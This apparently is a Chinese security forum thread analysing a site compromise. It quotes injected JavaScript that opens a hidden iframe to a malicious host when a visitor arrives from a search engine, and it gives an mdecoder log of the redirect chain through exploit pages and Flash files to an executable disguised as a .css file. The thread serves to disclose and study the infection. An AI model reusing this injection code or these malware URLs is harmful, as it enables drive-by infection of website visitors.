hXXp://cn.qikan.com/Article/dnki/dnki200710/dnki20071050.html

asinasina

hXXp://cn.qikan.com/Article/dnki/dnki200710/dnki20071050.html

var url=document.referrer;
var p=url.toLowerCase().indexOf("www.baidu.com");
if (p>0)
{
document.writeln("<\/iframe>");<br />}<br />var url=document.referrer; <br />var p=url.toLowerCase().indexOf("www.google.cn"); <br />if (p>0) <br />{ <br />document.writeln("<iframe src=http:\/\/360safebox.6600.org\/xm\/1.htm? width=100 height=0><\/iframe>");<br />}<br />var url=document.referrer; <br />var p=url.toLowerCase().indexOf("www.sogou.com"); <br />if (p>0) <br />{ <br />document.writeln("<iframe src=http:\/\/360safebox.6600.org\/xm\/1.htm? width=100 height=0><\/iframe>");<br />}<br />var url=document.referrer; <br />var p=url.toLowerCase().indexOf("www.soso.com"); <br />if (p>0) <br />{ <br />document.writeln("<iframe src=http:\/\/360safebox.6600.org\/xm\/1.htm? width=100 height=0><\/iframe>");<br />}

百度得的

hxxp://d.doinw.com/xx/x96.css

Hopesky

常见的挂马~


log generated by mdecoder v0.2
[root]http://cn.qikan.com/Article/dnki/dnki200710/dnki20071050.html
    [script]http://cn.qikan.com/javascript/iepngfix_tilebg.js
    [script]http://cn.qikan.com/javascript/header.js
    [script]http://cn.qikan.com/ajax/common.ashx
    [script]http://cn.qikan.com/ajax/webdragonsource.articlepart,webdragonsource.ashx
    [script]http://cn.qikan.com/javascript/magazine.js
    [script]http://cn.qikan.com/javascript/articleuserlogin.js
    [script]http://cn.qikan.com/javascript/diagscroll.js
    [script]http://cn.qikan.com/Article/dnki/dnki200710/+
    [script]http://tj.qikan.com/urchin.js
        [script]http://so.qikan.com/so.js
            [iframe]http://360safebox.3322.org/xm/1.htm?
                [iframe]http://wm.555d123.cn/x96/xx.html
                    [iframe]http://wm.555d123.cn/x96/td14.htm
                        [script]http://wm.555d123.cn/x96/14.js
                            [exe]http://d.doinw.com/xx/x96.css
                        [script]http://wm.555d123.cn/x96/15.js
                        [script]http://wm.555d123.cn/x96/17.js
                        [script]http://wm.555d123.cn/x96/16.js
                        [script]http://wm.555d123.cn/x96/18.js
                    [iframe]http://wm.555d123.cn/x96/yt.htm
                        [script]http://wm.555d123.cn/x96/a3.jpg
                        [script]http://wm.555d123.cn/x96/b.jpg
                        [script]http://wm.555d123.cn/x96/url.jpg
                            [exe]http://d.doinw.com/xx/x96.css
                        [script]http://wm.555d123.cn/x96/c.jpg
                        [script]http://wm.555d123.cn/x96/d.jpg
                        [script]http://wm.555d123.cn/x96/e.jpg
                        [script]http://wm.555d123.cn/x96/f.jpg
                    [iframe]http://wm.555d123.cn/x96/td09.htm
                        [script]http://wm.555d123.cn/x96/091.js
                            [exe]http://d.doinw.com/xx/x96.css
                        [script]http://wm.555d123.cn/x96/092.js
                    [iframe]http://wm.555d123.cn/x96/yut.htm
                        [iframe]http://wm.555d123.cn/x96/ytfl.htm
                            [iframe]http://wm.555d123.cn/x96/ff.html
                                [exe]http://d.doinw.com/xx/x96.css
                            [iframe]http://wm.555d123.cn/x96/ie.html
                                [exe]http://d.doinw.com/xx/x96.css
                            [iframe]http://wm.555d123.cn/x96/ff.html
                            [iframe]http://wm.555d123.cn/x96/ie.html
                            [iframe]http://wm.555d123.cn/x96/ff.html
                            [iframe]http://wm.555d123.cn/x96/ff.html
                        [iframe]http://wm.555d123.cn/x96/ytfl1.htm
                            [iframe]http://wm.555d123.cn/x96/y1.htm
                                [script]http://wm.555d123.cn/x96/swfobject.js
                                [flash]http://wm.555d123.cn/x96/./x1.swf
                                    [exe]http://d.doinw.com/xx/x96.css
                                [flash]http://wm.555d123.cn/x96/./x3.swf
                                    [exe]http://d.doinw.com/xx/x96.css
                                [flash]http://wm.555d123.cn/x96/./x4.swf
                                    [exe]http://d.doinw.com/xx/x96.css
                                [flash]http://wm.555d123.cn/x96/./x2.swf
                                    [exe]http://d.doinw.com/xx/x96.css
                                [flash]http://wm.555d123.cn/x96/./x5.swf
                                    [exe]http://d.doinw.com/xx/x96.css
                            [iframe]http://wm.555d123.cn/x96/t2.htm
                                [script]http://wm.555d123.cn/x96/swfobject.js
                                [flash]http://wm.555d123.cn/x96/./x7.swf
                                    [exe]http://d.doinw.com/xx/x96.css
                                [flash]http://wm.555d123.cn/x96/./x9.swf
                                    [exe]http://d.doinw.com/xx/x96.css
                                [flash]http://wm.555d123.cn/x96/./x10.swf
                                    [exe]http://d.doinw.com/xx/x96.css
                                [flash]http://wm.555d123.cn/x96/./x8.swf
                                    [exe]http://d.doinw.com/xx/x96.css
                                [flash]http://wm.555d123.cn/x96/./x11.swf
                                    [exe]http://d.doinw.com/xx/x96.css
                            [iframe]http://wm.555d123.cn/x96/y1.htm
                        [iframe]http://wm.555d123.cn/x96/of.htm
                            [script]http://wm.555d123.cn/x96/of.js
                                [exe]http://d.doinw.com/xx/x96.css
                            [script]http://wm.555d123.cn/x96/of3.jpg
                            [script]http://wm.555d123.cn/x96/of.jpg
                            [script]http://wm.555d123.cn/x96/of2.jpg
            [iframe]http://360safebox.3322.org/xm/1.htm?
            [iframe]http://360safebox.3322.org/xm/1.htm?
            [iframe]http://360safebox.3322.org/xm/1.htm?
    [script]http://cn.qikan.com/javascript/jf.js